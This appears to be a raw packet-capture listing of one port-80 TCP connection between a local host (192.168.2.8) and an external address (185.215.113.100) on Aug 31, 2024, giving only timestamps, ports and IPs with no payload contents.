Aug 31, 2024 22:05:20.870989084 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.871009111 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.871021032 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.871026039 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.871032000 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.871073961 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.871084929 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.871254921 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.871304035 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.871315956 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.871326923 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.871351957 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.871356964 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.871362925 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.871375084 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.871396065 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.871418953 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.871458054 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.871470928 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.871480942 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.871491909 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.871500969 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.871503115 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.871515989 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.871541977 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.871576071 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.871587038 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.871588945 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.871596098 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.871608019 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.871618032 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.871635914 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.871697903 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.871697903 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.872239113 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.872251034 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.872262001 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.872286081 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.872296095 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.872380972 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.872433901 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.872441053 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.872454882 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.872466087 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.872478962 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.872488022 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.872499943 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.872500896 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.872505903 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.872509956 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.872519016 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.872523069 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.872539997 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.872556925 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.872570992 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.872581005 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.872590065 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.872601032 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.872611046 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.872612000 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.872637987 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.872662067 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.872665882 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.872677088 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.872687101 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.872698069 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.872706890 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.872711897 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.872734070 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.872757912 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.873339891 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.873351097 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.873361111 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.873379946 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.873398066 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.873408079 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.873418093 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.873426914 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.873435974 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.873440981 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.873466969 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.873473883 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.873476028 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.873486042 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.873497009 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.873505116 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.873533010 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.873554945 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.873584032 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.873594046 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.873603106 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.873611927 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.873621941 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.873629093 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.873634100 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.873645067 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.873663902 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.873684883 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.874245882 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.874283075 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.874340057 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.874350071 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.874360085 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.874368906 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.874387026 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.874387980 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.874398947 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.874404907 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.874409914 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.874419928 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.874428034 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.874448061 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.874475002 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.874501944 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.874511957 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.874521971 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.874531984 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.874536037 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.874541044 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.874552011 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.874557018 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.874562979 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.874582052 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.874602079 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.875086069 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.875097036 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.875106096 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.875137091 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.875150919 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.875160933 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.875169992 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.875171900 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.875183105 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.875195980 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.875207901 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.875235081 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.875253916 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.875264883 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.875284910 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.875294924 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.875296116 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.875304937 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.875314951 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.875317097 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.875338078 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.875368118 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.875468969 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.875487089 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.875497103 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.875507116 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.875515938 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.875519037 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.875550985 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.875571966 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.876260996 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876280069 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876317024 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.876327991 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.876353979 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876363993 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876374960 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876384020 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876394033 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876404047 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.876444101 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.876465082 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876475096 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876488924 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876498938 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876508951 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.876523972 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.876543999 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876550913 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.876554966 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876564026 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876574039 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876583099 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876584053 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.876593113 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876606941 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.876635075 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.876667023 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876679897 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876689911 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876712084 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.876738071 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.876920938 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876960993 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.876967907 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.876971960 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877001047 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.877010107 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.877026081 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877036095 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877046108 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877058983 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877069950 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877072096 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.877090931 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.877108097 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877116919 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.877119064 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877129078 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877149105 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.877171040 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877172947 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.877182007 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877192974 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877216101 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.877228022 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.877576113 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877587080 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877607107 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877616882 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877628088 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877629042 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.877640963 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877645969 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.877677917 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.877731085 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877743006 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877753973 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877773046 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877779007 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.877784967 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877795935 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877805948 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.877841949 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.877841949 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877854109 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877865076 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877876043 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877881050 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.877886057 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877895117 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877904892 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877911091 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.877917051 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.877944946 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.877953053 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.878010988 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878021955 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878031969 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878042936 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878051996 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.878052950 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878067970 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878074884 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.878107071 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.878496885 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878545046 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.878606081 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878617048 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878628016 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878638029 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878648043 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878659010 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.878659010 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878691912 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.878709078 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.878731966 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878743887 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878756046 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878767967 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878773928 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.878778934 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878782034 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.878791094 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878802061 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878803968 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.878812075 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878823042 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878838062 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.878854990 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878859997 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.878865957 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878882885 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878894091 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878896952 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.878904104 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878928900 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.878931046 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878941059 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878951073 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878956079 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.878962040 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878973007 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.878984928 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.879012108 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.879317999 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879329920 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879339933 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879371881 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.879380941 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879391909 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879401922 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879405022 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.879424095 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.879439116 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.879479885 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879491091 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879502058 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879513025 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879520893 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.879522085 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879534960 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879539967 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.879549980 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879560947 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879570007 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.879571915 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879584074 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879602909 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.879650116 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.879776001 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879786968 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879797935 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879807949 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879816055 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.879820108 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879829884 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879841089 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879841089 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.879853010 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879863024 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879869938 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.879873037 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879884958 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879889965 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.879894972 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879906893 CEST	80	49704	185.215.113.100	192.168.2.8
Aug 31, 2024 22:05:20.879920959 CEST	49704	80	192.168.2.8	185.215.113.100
Aug 31, 2024 22:05:20.879920959 CEST	80	49704	185.215.113.100	192.168.2.8
